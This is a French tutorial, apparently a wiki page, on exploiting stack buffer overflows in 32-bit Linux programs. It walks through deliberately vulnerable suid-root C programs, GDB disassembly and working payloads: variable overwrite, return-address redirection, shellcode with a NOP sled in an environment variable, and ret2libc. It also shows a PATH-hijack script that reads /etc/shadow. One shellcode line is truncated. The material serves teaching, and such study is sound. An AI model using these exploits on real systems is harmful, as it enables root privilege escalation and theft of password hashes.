Ceci est une ancienne révision du document !
Le buffer overflow fait partie de ces attaques assez ingrates, plutôt difficiles à réaliser et extrêmement simples à éviter. Malgré tout, sa puissance mérite que l'on s'intéresse à lui. Ce bug étant de nos jours extrêmement documenté, je vais essayer d'être le plus précis et le plus personnel possible.
Petites précisions :
# echo 0 > /proc/sys/kernel/randomize_va_space
Le but de cette partie n'est pas d'être extrêmement technique et de dégoûter le lecteur, et il y a fort à
parier que ce dernier connaît déjà probablement tout ce qui sera dit ici.
La mémoire adressable lors de l'exécution d'un programme est divisée en plusieurs sections, avec, depuis les adresses les plus hautes vers les adresses les plus basses :
Les parties stack (pile) et heap (tas) ont la particularité d'avoir un contenu changeant au cours de l'exécution.
Lorsqu' une fonction est exécutée, la pile contiendra les paramètres ainsi que les variables locales. Parallèlement à la pile, nous trouvons les registres, dont voici 3 d'entre eux :
%esp
, appelé stack pointer
, pointant toujours sur le haut de la pile, c'est-à-dire vers les adresses les plus basses (la pile grandit vers le bas)%ebp
, appelé base pointer
, pointe à la base de la fonction en cours. Les autres adresses sont souvent exprimées en fonction de sa valeur%eip
, appelé instruction pointer
, pointant sur l'adresse de la prochaine instruction
Lors de l'appel d'une fonction (instruction call
), le déroulement est le suivant :
Puis du côté de la fonction appelée, ce que l'on appelle le prologue est effectué :
push ebp
)stack pointer
au même niveau que le pointeur de base (mov ebp, esp
)Puis, lorsque la fonction se termine, l'épilogue sert à vider l'espace pris par la fonction et à revenir au bon endroit dans la fonction appelante en effectuant l'inverse du prologue :
stack pointer
à la valeur du base pointer
(mov esp, ebp
)pop ebp
). L'instruction leave
est un raccourci pour ces 2 étapes.ret
).
Voici un exemple tiré du mémoire de Florian Maury (lien tout en bas du document) qui explique tout ceci bien mieux que moi.
Imaginons la fonction suivante :
maFonctionTest(1,2,3) ;
à l'adresse 0xcafebabe
.
Les 3 arguments de cette fonction vont donc être empilés de la droite vers la gauche. En assembleur, cela se traduit par cette configuration :
pushl $3 ; pousse la constante 3, d'où le symbole $ pushl $2 ; idem pushl $1 ; idem call 0xcafebabe ; appel de maFonctionTest add %esp, 0xc ; alloue 0xc = 12 bytes (3 int de 4 bytes)
(En fait, théoriquement le nombre de bytes alloués est correct, mais dans les faits cela ne correspond toujours exactement. Cela n'a aucune importance dans notre exemple cependant).
Puis, après le prologue, nous avons dans la pile :
Valeur X ← variable locale quelconque Ancien EBP ← %ebp = %esp Adresse de retour Argument 1 Argument 2 Argument 3 ...
Cette méthode s'oppose à la méthode fastcall, qui passe les arguments via les registres. Cela se produit notamment pour les appels systèmes et la pratique est courante lors des attaques Return Oriented Programming.
Concernant les variables locales, on sait combien des bytes leurs sont alloués en général en regardant la valeur soustraite à l'aide de l'instruction sub
, un peu après l'épilogue. En effet, avant l'allocation, rappelons que %esp
= %ebp
. Comme la pile grandit vers le bas, si %esp
est décrémenté, il y a un espace créé entre %ebp
et le haut de la pile, où se placeront les variables locales. Là encore, la somme totale des bytes des variables locales calculée d'après le code ne va pas toujours correspondre au nombre de bytes réellement alloués.
A la base d'un buffer overflow, il y a souvent une fonction vulnérable, c'est-à-dire une fonction peu soucieuse de la taille des strings qu'elle manipule, comme (entre autres) :
gets
, lisant une ligne dans le standard input (stdin
)strcpy
, copiant un string dans un bufferstrcat
, effectuant la concaténation de deux stringsCes fonctions ont été réécrites depuis et ne devraient plus jamais être utilisées dans une release. Il s'agit sans doute là de la meilleure protection possible contre les buffer overflows.
Supposons que nous soyons en possession d'un programme dont nous connaissons le code, et pour l'exemple, nous allons nous baser sur celui-ci :
#include <stdio.h> #include <stdlib.h> #include <string.h> /**gcc -m32 -o bufferOverflow bufferOverflow.c -fno-stack-protector **/ int main(int argc, char ** argv){ int checkOverflow = 0xb00bb00b; char vulnBuffer[42]; strcpy(vulnBuffer, argv[1]); if (checkOverflow == 0xbabebabe){ printf("OK"); } else{ printf("checkOverflow:%x Try again\n", checkOverflow); } return 0; }
Le développeur ayant pensé à nous, il a indiqué la commande utilisée lors de la compilation. Notre but ici va être simplement d'imprimer le message « OK » dans la console, et nous verrons dans la partie suivante comment vraiment tirer profit d'un tel code (en faisant apparaître une shell en root par exemple …).
Nous voyons donc ici que l'argument passé en paramètre est copié dans un buffer dont la capacité est de 42 caractères. Nous voyons aussi que pour afficher le message « OK » il nous faut changer la valeur de checkOverflow
.
Naïvement, lançons le programme avec la commande suivante :
$ ./bufferOverflow $(python -c "print 'A' * 10") checkOverflow: b00bb00b Try again
Puis, recommençons avec :
$ ./bufferOverflow $(python -c "print 'A' * 42") checkOverflow: b00bb000 Try again
Lors de la première tentative, nous pouvons voir que la valeur de checkOverflow
reste inchangée mais que ce n'est pas le cas la seconde fois, puisque le null byte
de la string saisie en paramètre vient écraser le dernier byte de checkOverflow
.
Le reste de l'exploitation est assez trivial, puisqu'un débordement supplémentaire de 4 octets suffit donc pour écraser totalement checkOverflow
. Little-endian obligeant, on a donc :
$ ./bufferOverflow $(python -c "print 'A' * 42 + '\xbe\xba\xbe\xba'") OK
Bon, corrompre des données, c'est assez intéressant, mais on peut faire évidemment bien mieux …
Si l'on tape la commande suivante :
$ ls -alt bufferOverflow -rwsr-xr-x 1 root root 5192 févr. 7 10:47 bufferOverflow
on s'aperçoit que le programme appartient à root et qu'il possède le bit suid
, comme en témoigne le petit S à gauche du résultat. Ce bit de contrôle permet une exécution d'un programme au nom d'un autre utilisateur, en l’occurrence le propriétaire du fichier. Dans le cas présent, cela signifie que le processus exécutant ce programme effectuera ses actions avec les privilèges de l'administrateur. A partir de là, l'attaque peut faire bien plus de ravages si l'attaquant peut utiliser ces privilèges pour exécuter des commandes système ou des programmes malicieux
Dans cette partie, le but va être de présenter des techniques de buffer overflow utilisables en fonction du contexte et des protections mises en place. Dans cette partie nous partirons du principe que le but de l'attaquant va être d'écraser une adresse de retour afin de rediriger le flux d'exécution du programme vulnérable, afin d'ouvrir une shell en root.
Nous allons dans cette partie utiliser le code suivant :
#include <stdlib.h> #include <stdio.h> #include <string.h> /** gcc -m32 -o callme callme.c -fno-stack-protector **/ void callMe(){ system("date"); } void printBuffer(){ int john = 0x12345678; char buffer[42]; scanf("%s", buffer); printf("Buffer:%s \n", buffer); } int main(int argc, char ** argv){ printBuffer(); return 0; }
En sachant que :
$ ls -alt callme -rwsr-xr-x 1 root root 5120 févr. 7 11:06 callme
Ici, le but final va être de trouver le hash du mot de passe de root. Mais pour cela nous allons devoir en premier exploiter la faille de ce programme vulnérable: la fonction callMe
.
Nous savons que le buffer, en débordant, va écraser john
(le pauvre). Voici donc la configuration face à la quelle nous sommes :
En grandissant encore plus,
buffer
va donc écraser la valeur pointée par %ebp
, puis l'adresse de retour. Lorsque la fonction se terminera, le processeur va dépiler chaque variable locale, puis récupérer la valeur de l'adresse de retour (dans main
), alors au sommet de la pile, pour sauter à sauter à cette adresse. Si l'adresse est corrompue et invalide il se produira alors une erreur de segmentation. En revanche, si l'adresse est corrompue MAIS valide, le processeur ira exécuter ce qui se trouve à cette adresse.
Pour commencer, lançons GDB et désassemblons la fonction printBuffer
:
$ gdb ./callme ... (gdb) disas printBuffer Dump of assembler code for function printBuffer: 0x08048493 <+0>: push %ebp 0x08048494 <+1>: mov %esp,%ebp 0x08048496 <+3>: sub $0x38,%esp 0x08048499 <+6>: movl $0x12345678, -0xc(%ebp) 0x080484a0 <+13>:sub $0x8,%esp 0x080484a3 <+16>:lea -0x36(%ebp),%eax 0x080484a6 <+19>:push %eax 0x080484a7 <+20>:push $0x8048595 0x080484ac <+25>:call 0x8048370 <__isoc99_scanf@plt> 0x080484b1 <+30>:add $0x10,%esp 0x080484b4 <+33>:sub $0x8,%esp 0x080484b7 <+36>:lea -0x36(%ebp),%eax 0x080484ba <+39>:push %eax 0x080484bb <+40>:push $0x8048598 0x080484c0 <+45>:call 0x8048330 <printf@plt> 0x080484c5 <+50>:add $0x10,%esp 0x080484c8 <+53>:leave 0x080484c9 <+54>:ret End of assembler dump.
Nous pouvons voir à la ligne <+45> qu'il se produit un appel à la fonction printf
, et qu'auparavant, 2 valeurs ont été empilées : ce sont les paramètres de la fonction. Les paramètres étant empilés dans l'ordre inverse, nous déduisons d'après les lignes <+36> et <+39> que l'adresse de notre buffer est %eax
, soit -0x36(%ebp)
autrement dit %ebp – 54
(54 = 0x36). En sachant ceci, nous savons qu'il faut :
john
(écart entre l’extrémité du buffer et %ebp
)callMe
Pour déterminer cette dernière :
(gdb) disas callMe Dump of assembler code for function callMe: 0x0804847b <+0>: push %ebp 0x0804847c <+1>: mov %esp,%ebp 0x0804847e <+3>: sub $0x8,%esp 0x08048481 <+6>: sub $0xc,%esp 0x08048484 <+9>: push $0x8048580 0x08048489 <+14>: call 0x8048340 <system@plt> 0x0804848e <+19>: add $0x10,%esp 0x08048491 <+22>: leave 0x08048492 <+23>: ret End of assembler dump.
C'est donc l'adresse à <+0>, 0x0804847b.
A présent, nous savons que notre payload s'obtient comme ceci en faisant attention à bien écrire l'adresse de retour en gras ci-dessus en little-endian :
Endianness (Wikipedia) :
En informatique, certaines données telles que les nombres entiers peuvent être représentées sur plusieurs octets. L'ordre dans lequel ces octets sont organisés en mémoire ou dans une communication est appelé endianness.
Dans le cas présent, nous sommes sur une architecture little-endian, ce qui signifie que l'octet de poids faible est placé en premier. Par exemple le nombre 0xABCDEF01 sera stocké sous le forme 01 EF CD AB
$ cat <(python -c "print 'A' * 58 + '\x7b\x84\x04\x08'")|./callme Buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{� mardi 7 février 2017, 14:57:03 (UTC+0100) Erreur de segmentation
Comme nous le voulions, le programme exécute la fonction callMe
, comme nous le prouve la date dans la console ! A présent, nous pouvons exploiter une autre faille de ce programme (avec le bit suid
rappelons le!). Nous voyons en effet que la fonction system
exécute la commande date
sans chemin absolu. Il nous suffit donc de créer un programme nommé date
et de modifier la variable d'environnement PATH
pour faire effectuer une commande malicieuse au programme avec les privilèges de root.
Premièrement, il s'agit de créer dans un répertoire où nous avons les droits d'écriture le script suivant (que l'on nommera donc date
, et admettons que nous le placions dans /tmp
):
#!/bin/sh cat "/etc/shadow"
Puis, il nous faut ajouter au début de la variable d'environnement PATH
le chemin de ce répertoire :
$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games $ export PATH='/tmp':$PATH $ echo $PATH /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Il ne reste donc plus qu'à relancer la commande:
$ cat <(python -c "print 'A' * 58 + '\x7b\x84\x04\x08'")|./callme Buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{� root:$x$hash_du_mot_de_passe_de_root_ !::: ... Erreur de segmentation
Et voila le travail!
Dans ce deuxième exemple, nous allons utiliser un programme où la fonction malicieuse que nous souhaitons exécuter n'existe pas. Pour cela, nous allons devoir injecter nous-même le code malicieux. Toutefois, cette technique nécessite une désactivation de ASLR.
L’Address Space Layout Randomization (ASLR) ou distribution aléatoire de l'espace d'adressage est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle. (cher Wikipedia, on ne te remerciera jamais assez). Cette protection rend encore plus difficile les buffer overflows, où la règle d'or est avant tout la précision. Toutefois, cette protection n'est pas infaillible et ne suffit généralement pas à rendre un exécutable invulnérable. Par défaut cette protection est activée, et a ici volontairement été enlevée avec la commande donnée dans l'introduction.
Nous allons nous baser sur le code suivant (notez au passage que la protection Never eXecutable rendant la pile non-exécutable a été enlevée pour les besoins de l'attaque comme le prouve la commande utilisée à la compilation) :
#include <stdlib.h> #include <stdio.h> #include <string.h> /** gcc -m32 -o shellcode vuln.c -z execstack -fno-stack-protector **/ void printBuffer(){ char name[30]; printf("Who is the best ?\n"); scanf("%s", name); if (!strcmp("John", name)){ printf("Yes you are right!\n"); } else{ printf("%s = n00b, John is the best\n", name); } } int main(int argc, char ** argv){ printf("Hello world!\n"); printBuffer(); return 0; }
Comme le dit Wikipedia, un shellcode « est une chaîne de caractères qui représente un code binaire exécutable. À l'origine destiné à lancer un shell ('/bin/sh' sous Unix ou command.com sous DOS et Microsoft Windows par exemple), le mot a évolué pour désigner tout code malveillant qui détourne un programme de son exécution normale. ». Dans notre cas, il s'agira effectivement d’ouvrir une shell avec les droits de root. Il existe une multitude de shellcode disponibles sur le Web, et pour l'exemple nous allons nous servir du shellcode suivant :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6 \x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
http://shell-storm.org/shellcode/files/shellcode-811.php
La technique que nous allons montrer est l'injection par les variables d'environnement. Ces variables sont chargées en mémoire au lancement du programme, et bien qu'elles ne soient pas utilisées la plupart du temps, elles représentent tout de même des données placées dans la mémoire et potentiellement dangereuses, puisque maîtrisables par n'importe qui.
Pour voir où elles se situent, lançons GDB, et breakons dès le début de la main
:
$ gdb ./shellcode … (gdb) print main $1 = {<text variable, no debug info>} 0x8048515 <main> (gdb) break *0x8048515 Breakpoint 1 at 0x8048515 (gdb) run Starting program: /home/enzo/Documents/art/shellcode Breakpoint 1, 0x08048515 in main () (gdb) x/10x $esp 0xffa6a4fc:0xf75f4a63 0x00000001 0xffa6a594 0xffa6a59c 0xffa6a50c:0xf77b979a 0x00000001 0xffa6a594 0xffa6a534 0xffa6a51c:0x0804985c 0x0804822c (gdb) x/x 0xffa6a594 0xffa6a594:0xffa6c62b (gdb) x/s 0xffa6c62b 0xffa6c62b: "/home/enzo/Documents/art/shellcode" (gdb) x/x 0xffa6a59c 0xffa6a59c: 0xffa6c64e (gdb) x/s 0xffa6c64e 0xffa6c64e: "XDG_VTNR=7" x/s *((char **)environ) 0xffa6c64e: "XDG_VTNR=7"
Concentrons nous sur le bloc obtenu avec la commande x/10x $esp
:
Nous avons en deuxième position la valeur 0x00000001
, qui est le nombre d'arguments passés en paramètre. (valeur de argc). Ici il n'y en a qu'un et c'est le nom du programme.
Ensuite, nous avons 0xffa6a594
, qui est l'adresse à laquelle se situe le pointeur sur le nom du programme.
Enfin, nous avons la valeur 0xffa6a59c
, qui est la même chose mais pour les variables d'environnement, comme nous le prouvent les deux dernières commandes.
Autrement dit, voici ce que nous avons dans la pile au lancement de la fonction main :
Ensuite le prologue permettra de pousser au sommet de la pile (à droite sur le schéma donc) le pointeur de base, puis
%ebp
et %esp
seront mis à la même valeur etc, etc.
La difficulté d'un buffer overflow réside en partie dans la précision qu'il exige, et le moindre décalage d'un seul octet suffit à provoquer une jolie erreur de segmentation. Afin de déterminer les adresses nécessaires lors d'une attaque, il est donc nécessaire d'utiliser un debugger. Cependant, le problème est que le debugger ajoute certaines variables d'environnement, ce qui décale les adresses. Embêtant quant il s'agit d'être précis et que le debugger est essentiel à la préparation de l'attaque …
Par pallier à ce problème et apporter un peu de souplesse, nous allons ici utiliser la technique de la NOP sled. Il s'agit d'aligner une certaine quantité de caractères 0x90
, correspondant à l'instruction NOP (Not an Operation) en assembleur, avant le shellcode. Lorsque cette instruction est rencontrée, on passe simplement à la suivante jusqu'à rencontrer une instruction autre que celle ci. Ainsi, l'imprécision due au décalage des adresses causé par le debugger est largement compensée par la tolérance apportée par la NOP sled.
Commençons donc par ajouter une variable d'environnement de la façon suivante, avec une NOP sled d'une taille appréciable suivie du shell code :
$ export PAYLOAD=$(python -c "print '\x90' * 100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
Puis, lançons GDB et breakons au niveau de la fonction main
. Une fois le programme lancé avec la commande run
et arrivé au point d'arrêt, lançons la commande :
gdb) show env ... PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games GDM_LANG=fr_FR.utf8 GDMSESSION=default SHLVL=1 XDG_SEAT=seat0 HOME=/home/enzo XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/ PAYLOAD=����������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��� _=/usr/bin/gdb LINES=24 COLUMNS=80
Nous souhaitons récupérer l'adresse de la variable PAYLOAD créée précédemment, et pour cela nous allons devoir tâtonner un peu avec la commande :
(gdb) x/s *((char **)environ+X)
où X est un nombre permettant de passer d'une variable d'environnement à une autre. Dans l'exemple qui est le notre, on finit par trouver :
(gdb) x/s *((char **)environ+36) 0xffffdf00: "PAYLOAD=", '\220' <repeats 100 times>, "\061\300Ph//shh/bin\211\343PS\211\341\260\v̀" (gdb) x/s *((char **)environ+36)+8 0xffffdf08: '\220' <repeats 100 times>, "\061\300Ph//shh/bin\211\343PS\211\341\260\v̀"
Le décalage de 8 caractères lors de la seconde commande permet donc de trouver l'adresse du tout début de la NOP sled. Il suffit ensuite de choisir un nombre en 0 et 100 (la taille de la NOP sled) et de l'ajouter à l'adresse pour être quasiment sûr de tomber dans la NOP sled lors de l'attaque sans debugger. Pour l'exemple qui est le notre, nous avons choisi l'adresse 0xffffdf30.
Ensuite, désassemblons le code de la fonction printBuffer
:
(gdb) disas printBuffer Dump of assembler code for function printBuffer: 0x080484ab <+0>: push %ebp 0x080484ac <+1>: mov %esp,%ebp 0x080484ae <+3>: sub $0x28,%esp 0x080484b1 <+6>: sub $0xc,%esp 0x080484b4 <+9>: push $0x80485e0 0x080484b9 <+14>: call 0x8048370 <puts@plt> 0x080484be <+19>: add $0x10,%esp 0x080484c1 <+22>: sub $0x8,%esp 0x080484c4 <+25>: lea -0x26(%ebp),%eax 0x080484c7 <+28>: push %eax 0x080484c8 <+29>: push $0x80485f2 0x080484cd <+34>: call 0x80483a0 <__isoc99_scanf@plt> 0x080484d2 <+39>: add $0x10,%esp 0x080484d5 <+42>: sub $0x8,%esp 0x080484d8 <+45>: lea -0x26(%ebp),%eax 0x080484db <+48>: push %eax 0x080484dc <+49>: push $0x80485f5 0x080484e1 <+54>: call 0x8048350 <strcmp@plt> 0x080484e6 <+59>: add $0x10,%esp 0x080484e9 <+62>: test %eax,%eax 0x080484eb <+64>: jne 0x80484ff <printBuffer+84> 0x080484ed <+66>: sub $0xc,%esp 0x080484f0 <+69>: push $0x80485fa 0x080484f5 <+74>: call 0x8048370 <puts@plt> 0x080484fa <+79>: add $0x10,%esp 0x080484fd <+82>: jmp 0x8048513 <printBuffer+104> 0x080484ff <+84>: sub $0x8,%esp 0x08048502 <+87>: lea -0x26(%ebp),%eax 0x08048505 <+90>: push %eax 0x08048506 <+91>: push $0x804860d 0x0804850b <+96>: call 0x8048360 <printf@plt> 0x08048510 <+101>: add $0x10,%esp 0x08048513 <+104>: leave 0x08048514 <+105>: ret End of assembler dump.
A la ligne <+45>, nous trouvons l'instruction lea -0x26(%ebp),%eax
, et donc, de la même manière que tout à l'heure, nous déduisons qu'il faut 38 (0x26 en hexadécimal) caractères pour remplir le buffer, 4 octets supplémentaires pour écraser le pointeur de base et 4 octets pour écraser l'adresse de retour. Vérifions cela :
$ python -c "print 'A'* 42 + 'BBBB'" > args.txt $ gdb ./shellcode
Ensuite, plaçons un breakpoint à la fin de printBuffer
et exécutons :
(gdb) break *0x08048514 Breakpoint 1 at 0x8048514 (gdb) run < args.txt Starting program: /home/enzo/Documents/art/shellcode < args.txt Hello world! Who is the best ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB = n00b, John is the best Breakpoint 1, 0x08048514 in printBuffer () (gdb) x/x $esp 0xffd823fc: 0x42424242
La dernière commande nous indique que la valeur 0x42424242
(soit l'équivalent ASCII de BBBB en hexadécimal) se situe au sommet de la pile au moment d'exécuter l’instruction ret
, ce qui signifie que l'adresse de retour a bien été écrasée par les 4 B. Nous n'avons donc plus qu'à remplacer ces B par l'adresse 0xffffdf30
pointant dans la NOP sled.
Quittons GDB, et lançons :
$ cat <(python -c "print 'A'* 42 + '\x30\xdf\xff\xff'") - |./shellcode Hello world! Who is the best ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��� = n00b, John is the best whoami root
Et voila ! Notez qu'une technique alternative consiste à injecter le shellcode directement dans le buffer lorsque la taille de ce dernier le permet. L'attaque se déroule ensuite de la même manière.
Pour cette troisième attaque, nous allons utiliser le même code que dans l'exemple d'avant, mais en laissant par défaut la stack non exécutable, empêchant donc la technique des variables d'environnement (ASLR reste désactivé) :
gcc -m32 -o ret2libc vuln.c -fno-stack-protector
Comme le nom de l'attaque l'indique, le but va être de rediriger le programme vers une fonction de la librairie C, en particulier la fonction system
.
Nous savons donc déjà qu'il faut 42 bytes pour écraser le pointeur de base, cela nous fera gagner du temps. Lançons le debugger pour trouver l'adresse de cette fonction system
.
(gdb) break main Breakpoint 1 at 0x8048523 (gdb) run Starting program: /home/enzo/Documents/art/ret2libc Breakpoint 1, 0x08048523 in main () (gdb) print system $1 = {<text variable, no debug info>} 0xf7e4b3e0 <system>
Parfait, nous sommes déjà en possession de l'adresse de retour (0xf7e4b3e0
)! Cependant, il nous faut ajouter encore une chose : la fonction system
attend un paramètre, et juste avant son appel, le haut de la pile doit être :
<addr. system> ←%eip < JUNK > ← ou une adresse de retour valide, peu importe < argument > ← adresse de '/bin/sh'
Avec GDB, cherchons dans la libc si la string « /bin/sh » est déjà mappée, et par chance :
(gdb) find __libc_start_main, +10000000, "/bin/sh" 0xf7f6c551 warning: Unable to access 16000 bytes of target memory at 0xf7fb68d9, halting search. 1 pattern found.
A présent, ne reste plus qu'à lancer la commande :
$ cat <(python -c "print 'A'* 42 + '\xe0\xb3\xe4\xf7'+ 'XXXX' + '\x51\xc5\xf6\xf7'") - |./ret2libc Hello world! Who is the best ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����XXXXQ��� = n00b, John is the best whoami root
BOOM !
Si vous testez ces techniques sur d'autres programmes, il est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils :
ptrace
, strace
, ou ltrace
afin d'avoir quelques indications sur le problème.
Ressources principales :
Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf
Étude de techniques d'exploitation de vulnérabilités des exécutables sous GNU/Linux IA-32 et de méthodes de protection associées: https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Etude%20de%20techniques%20d%20exploitation%20de%20vulnerabilites%20des%20executables%20sous%20GNU.Linux%20IA-32%20et%20de%20methodes%20de%20protection%20associees.pdf
Buffer overflow attack – Computerphile: https://www.youtube.com/watch?v=1S0aBV-Waeo
Return Oriented Programming : https://www.exploit-db.com/docs/28479.pdf
Ret2libc : https://www.exploit-db.com/docs/17131.pdf